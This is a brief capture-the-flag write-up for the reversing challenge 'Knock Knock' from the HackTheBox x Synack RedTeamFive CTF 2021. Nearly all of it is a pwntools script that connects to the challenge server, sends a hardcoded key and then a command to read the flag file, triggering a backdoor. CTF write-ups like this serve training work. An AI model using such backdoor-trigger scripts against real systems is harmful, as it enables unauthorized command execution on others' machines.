knock_knock.md

name	event	category	description	layout
Knock Knock (2021)	HackTheBox x Synack RedTeamFive CTF 2021	Rev	Writeup for Knock Knock (rev) - HackTheBox x Synack RedTeamFive CTF (2021) 💜	title description tableOfContents outline pagination visible true visible true visible true visible true visible true

Knock Knock

Video Walkthrough

Solution

backdoor.py

{% code overflow="wrap" %}

from pwn import *

context.log_level = 'DEBUG'

io = remote('ip', 31337)

cmd = b'command:cat flag.txt'

io.send(b'8f4328c40b1aa9409012c7406129f04b')
io.send(bytes([len(cmd)]))
io.send(cmd)

io.interactive()

{% endcode %}